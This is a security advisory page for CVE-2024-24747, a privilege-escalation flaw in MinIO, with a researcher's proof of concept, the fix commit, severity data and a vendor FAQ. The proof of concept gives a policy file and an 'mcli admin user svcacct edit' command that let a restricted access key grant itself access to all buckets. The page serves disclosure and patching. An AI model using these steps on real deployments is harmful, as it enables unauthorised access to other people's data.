CVE-2024-24747

When someone creates an access key, it inherits the permissions of the parent key. Not only for
s3:* actions, but also admin:* actions. Which means unless somewhere above in the
access-key hierarchy, the admin rights are denied, access keys will be able to simply
override their own s3 permissions to something more permissive.

Credit to @xSke for sort of accidentally discovering this. I only understood the implications.

Details / PoC

We spun up the latest version of minio in a docker container and signed in to the admin UI
using the minio root user. We created two buckets, public and private and created an
access key called mycat and attached the following policy to only allow access to the
bucket called public.

{
 "Version": "2012-10-17",
 "Statement": [
  {
   "Effect": "Allow",
   "Action": [
    "s3:*"
   ],
   "Resource": [
    "arn:aws:s3:::public",
    "arn:aws:s3:::public/*"
   ]
  }
 ]
}

We then set an alias in mc: mcli alias set vuln http://localhost:9001 mycat mycatiscute

And checked whether policy works:

A ~/c/minio-vuln mcli ls vuln
[0001-01-01 00:53:28 LMT]     0B public/

Looks good, we believe this is how 99% of users will work with access policies.

If I now create a file full-access-policy.json:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:*"
      ],
      "Resource": [
        "arn:aws:s3:::*"
      ]
    }
  ]
}

And then:

A ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat
Edited service account `mycat` successfully.

mycat has escalated its privileges to get access to the entire deployment:

A ~/c/minio-vuln mcli ls vuln
[0001-01-01 00:53:28 LMT]     0B private/
[0001-01-01 00:53:28 LMT]     0B public/

Patched

commit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -> master, origin/master)
Author: Aditya Manthramurthy <[email protected]>
Date:   Wed Jan 31 10:56:45 2024 -0800

    fix: permission checks for editing access keys (#18928)
    
    With this change, only a user with `UpdateServiceAccountAdminAction`
    permission is able to edit access keys.
    
    We would like to let a user edit their own access keys, however the
    feature needs to be re-designed for better security and integration with
    external systems like AD/LDAP and OpenID.
    
    This change prevents privilege escalation via service accounts.

A trivial privilege escalation unless the operator fully understands that they need to
explicitly deny admin actions on access keys.

The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access. Typical impact: privilege escalation beyond the intended level.

CVE-2024-24747 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20240131185645-0ae4915a9391); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2024-24747? CVE-2024-24747 is a high-severity improper privilege management vulnerability in github.com/minio/minio (go), affecting versions < 0.0.0-20240131185645-0ae4915a9391. It is fixed in 0.0.0-20240131185645-0ae4915a9391. The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access.
2. How severe is CVE-2024-24747? CVE-2024-24747 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/minio/minio are affected by CVE-2024-24747? github.com/minio/minio (go) versions < 0.0.0-20240131185645-0ae4915a9391 is affected.
4. Is there a fix for CVE-2024-24747? Yes. CVE-2024-24747 is fixed in 0.0.0-20240131185645-0ae4915a9391. Upgrade to this version or later.
5. Is CVE-2024-24747 exploitable, and should I be worried? Whether CVE-2024-24747 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-24747 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-24747? Upgrade github.com/minio/minio to 0.0.0-20240131185645-0ae4915a9391 or later.